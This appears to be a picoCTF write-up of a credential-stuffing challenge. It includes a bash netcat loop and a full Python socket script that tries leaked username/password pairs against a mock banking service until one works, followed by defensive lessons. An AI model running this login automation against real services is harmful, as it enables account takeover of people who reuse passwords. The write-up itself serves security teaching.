picoCTF - Web Exploitation

Credential Stuffing

picoCTF Credential Stuffing writeup using leaked credential databases to automate login attempts and gain unauthorized access to the target application.

Contents

Credential Stuffing

Challenge Summary

This picoCTF challenge demonstrates a classic credential stuffing attack. The premise is that a large department store suffered a breach, and a dump of stolen usernames and passwords was released. The goal is to take those leaked credentials and test them against another target, a local bank service, in the hope that at least one user reused the same password.

The service was exposed over a raw TCP connection and could be reached with:

nc crystal-peak.picoctf.net 53447

A credential file was also provided:

creds-dump.txt

The task was to identify a valid reused credential and retrieve the flag.

Concepts Tested

This challenge is built around the real-world weakness of password reuse.

When a user reuses the same username and password across multiple services:

  • A breach on one site can become an entry point into a completely different site.
  • Attackers do not need to crack hashes if they already have plaintext credentials.
  • Automated login attempts across many accounts can produce account takeover very quickly.

That workflow is called credential stuffing.

Initial Recon

The first step was to inspect the credential dump and confirm its structure.

sed -n '1,20p' creds-dump.txt

Example entries looked like this:

rora;winner1
birendra;rumble
khalid;sting
stanislaw;ming
maged;nimrod

This immediately showed that each line contained:

  • A username
  • A semicolon separator
  • A password

So the dump was already formatted for direct login attempts.

Understanding the Target Service

Connecting to the service manually showed a simple username/password prompt:

nc crystal-peak.picoctf.net 53447

The service responded with:

=========================================
Welcome to the Online Banking Service!
=========================================

Please enter your username & password to login.
Username:

After entering a username, it prompted for a password. Invalid attempts returned:

Invalid username or password

That confirmed three important things:

  • The service was interactive and line-based.
  • No browser automation was needed.
  • The challenge could be solved by repeatedly opening a connection, sending one username/password pair, and checking the response.

First Approach

The obvious first approach was to test credentials directly using nc in a loop.

A simple conceptual version looks like this:

while IFS=';' read -r user pass; do
  printf '%s\n%s\n' "$user" "$pass" | nc crystal-peak.picoctf.net 53447
done < creds-dump.txt

In practice, raw loops over nc can be unreliable because:

  • Some sessions close early.
  • Some responses can be incomplete.
  • Transient network issues can look like successful logins if you only check for missing error text.

During testing, a few false positives appeared when the connection dropped before the full invalid message was returned. That meant the scan needed to be more careful.

Reliable Solution Strategy

Instead of trusting one-shot nc output blindly, the better approach was:

  1. Open a connection.
  2. Wait until the Username: prompt is received.
  3. Send the username.
  4. Wait until the Password: prompt is received.
  5. Send the password.
  6. Read the server’s response.
  7. Treat the result as valid only if a complete non-error response is returned.
  8. Retry incomplete sessions rather than assuming they are hits.

This avoids mistaking network noise for successful authentication.

Scripted Credential Stuffing

A small socket-based script was used to automate the process safely and accurately. The logic was:

  • Read each username;password pair from creds-dump.txt
  • Connect to the service
  • Follow the prompts exactly
  • Reject responses containing Invalid username or password
  • Stop on the first real success

A representative version of the solution is below:

import socket
import time

HOST = "crystal-peak.picoctf.net"
PORT = 53447


def recv_until(sock, marker, timeout=3):
    sock.settimeout(timeout)
    data = b""
    while marker not in data:
        chunk = sock.recv(4096)
        if not chunk:
            break
        data += chunk
    return data


with open("creds-dump.txt", "r", encoding="utf-8", errors="replace") as f:
    for line in f:
        line = line.strip()
        if not line or ";" not in line:
            continue

        user, password = line.split(";", 1)

        try:
            s = socket.create_connection((HOST, PORT), timeout=3)
            banner = recv_until(s, b"Username: ")
            if b"Username: " not in banner:
                s.close()
                continue

            s.sendall(user.encode() + b"\n")

            prompt = recv_until(s, b"Password: ")
            if b"Password: " not in prompt:
                s.close()
                continue

            s.sendall(password.encode() + b"\n")

            time.sleep(0.2)
            s.settimeout(1.5)
            response = b""

            while True:
                try:
                    chunk = s.recv(4096)
                    if not chunk:
                        break
                    response += chunk
                except socket.timeout:
                    break

            s.close()

            output = (banner + prompt + response).decode("utf-8", "replace")

            if "Invalid username or password" not in output and response.strip():
                print(f"[+] Valid credential found: {user}:{password}")
                print(output)
                break

        except Exception:
            continue

Successful Credential Pair

The valid reused bank credential was:

tandie:griffith

Once that pair was submitted to the service, the response was:

Authenticating...
Welcome tandie!
picoCTF{<redacted>}

Flag

picoCTF{<redacted>}

Why This Worked

This worked because one user reused their department store credentials on the online banking service. The leaked dump effectively became a ready-made login list for another platform.

The challenge mirrors a real attack path:

  • Site A is breached.
  • Credentials are leaked.
  • Attackers test those credentials against Site B, Site C, Site D, and so on.
  • Any reused credential becomes an account takeover.

No password cracking was required. No exploitation of the bank application itself was required. The weakness was entirely in credential reuse.

Security Lessons

This challenge reinforces several practical defenses:

  • Users should never reuse passwords across different services.
  • Password managers reduce reuse by making unique passwords easy.
  • Multi-factor authentication can prevent account takeover even if a password is reused.
  • Login monitoring and rate limiting can help detect or slow credential stuffing attempts.
  • Breached password checks should be integrated into authentication systems.

Takeaway

The important lesson here is that authentication security is not only about protecting one application in isolation. A completely different site’s breach can compromise your users if they reuse credentials. Credential stuffing succeeds because users treat passwords as reusable secrets, while attackers treat them as transferable assets.

In this challenge, the entire compromise came down to one reused pair:

tandie:griffith

That single mistake revealed the flag:

picoCTF{<redacted>}